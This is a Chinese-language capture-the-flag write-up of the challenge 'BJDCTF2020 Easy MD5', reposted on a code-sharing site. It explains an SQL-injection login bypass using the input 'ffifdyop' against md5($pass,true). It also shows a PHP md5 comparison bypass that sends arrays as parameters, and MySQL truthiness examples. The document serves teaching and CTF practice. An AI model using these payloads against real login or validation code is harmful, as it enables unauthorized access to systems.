[BJDCTF2020]Easy MD5


[BJDCTF2020]Easy MD5

第一步

繞過:

"select * from 'admin' where password=' ".md5($pass,true)." ' "

輸入:ffifdyop

原因:數據庫會把16進制轉為ascii解釋

如下: flag{welcome}的16進制是0x666c61677b77656c636f6d657d

而我們的md5(ffifdyop) 會返回16進制字符串

這時原來的語句就是:

"select * from 'admin' where password='' or'6蒥欓!r,b' "

or后面的句子第一個字母是非0打頭的數字符,比如為 ‘ 1abc ’ 或者 ‘ -1bde ’都會被認為是true。

以0開頭會認為是false.

flag{welcome}16進制是

image-20200407202348548

關於16進制和mysql

image-20200407202117477

ffifdyop的md5值

image-20200407212016417

image-20200407201702562

字符串 or '1xxx'

image-20200407213131554

以mysql的三目運算舉例:

select if( "123", "this_is_true","this_is_false");#返回this_is_true
select if( "0xx", "this_is_true","this_is_false");#返回this_is_false

image-20200407214025006

用於題目的實踐

我的表里只有一個值

select * from flag where id = 1 and flag = "123" or '1xxx';#返回表中所有值

select * from flag where id = 1 and flag = "123" or '0xxx';#返回符合id = 1 and flag = "123"的值,因為or '0xxx'解釋為false

image-20200407214346077

image-20200407214300970

image-20200407214315603

第二步

<!--
$a = $_GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

這里用數組即可繞過

?a[]=1&b[]=2

image-20200407215148523

第三步

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

同第二部相同,繞過比較md5的比較用數組

param1[]=1&param2[]=2

image-20200407215359731


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM